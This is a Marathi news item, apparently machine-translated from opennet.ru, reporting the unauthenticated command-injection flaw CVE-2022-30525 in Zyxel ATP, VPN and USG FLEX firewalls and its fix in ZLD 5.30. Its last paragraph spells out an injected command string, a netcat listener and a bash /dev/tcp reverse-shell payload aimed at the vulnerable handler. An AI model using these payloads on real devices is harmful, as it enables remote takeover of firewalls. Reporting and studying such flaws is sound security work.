Zyxel फायरवॉलमधील भेद्यता जी प्रमाणीकरणाशिवाय कोडची अंमलबजावणी करण्यास अनुमती देते

एटीपी, व्हीपीएन आणि यूएसजी फ्लेक्स सिरीजच्या झिक्सेल उपकरणांमध्ये एक गंभीर भेद्यता (CVE-2022-30525) ओळखली गेली आहे, जी एंटरप्राइजेसमध्ये फायरवॉल, आयडीएस आणि व्हीपीएनचे ऑपरेशन आयोजित करण्यासाठी डिझाइन केलेली आहे, जी बाह्य आक्रमणकर्त्याला कोड कार्यान्वित करण्यास अनुमती देते. प्रमाणीकरणाशिवाय वापरकर्ता अधिकारांशिवाय डिव्हाइस. हल्ला करण्यासाठी, आक्रमणकर्त्याने HTTP/HTTPS प्रोटोकॉल वापरून डिव्हाइसवर विनंत्या पाठविण्यास सक्षम असणे आवश्यक आहे. Zyxel ने ZLD 5.30 फर्मवेअर अपडेटमधील भेद्यता निश्चित केली आहे. Shodan सेवेनुसार, सध्या जागतिक नेटवर्कवर 16213 संभाव्य असुरक्षित उपकरणे आहेत जी HTTP/HTTPS द्वारे विनंत्या स्वीकारतात.

वेब हँडलर /ztp/cgi-bin/handler ला खास डिझाइन केलेल्या कमांड पाठवून ऑपरेशन केले जाते, प्रमाणीकरणाशिवाय प्रवेश करता येतो. lib_wan_settings.py लायब्ररीमध्ये वापरलेल्या os.system कॉलचा वापर करून आणि setWanPortSt ऑपरेशनवर प्रक्रिया करताना कार्यान्वित केलेल्या सिस्टमवर कमांड कार्यान्वित करताना विनंती पॅरामीटर्सच्या योग्य क्लीनअपच्या अभावामुळे समस्या उद्भवते.

उदाहरणार्थ, आक्रमणकर्ता स्ट्रिंग पास करू शकतो “; पिंग 192.168.1.210;" ज्यामुळे सिस्टीमवर "पिंग 192.168.1.210" कमांड कार्यान्वित होईल. कमांड शेलमध्ये प्रवेश मिळवण्यासाठी, तुम्ही तुमच्या सिस्टमवर “nc -lvnp 1270” चालवू शकता आणि नंतर '; bash -c \»exec bash -i &>/dev/tcp/192.168.1.210/1270 <&1;\»;'.

स्त्रोत: opennet.ru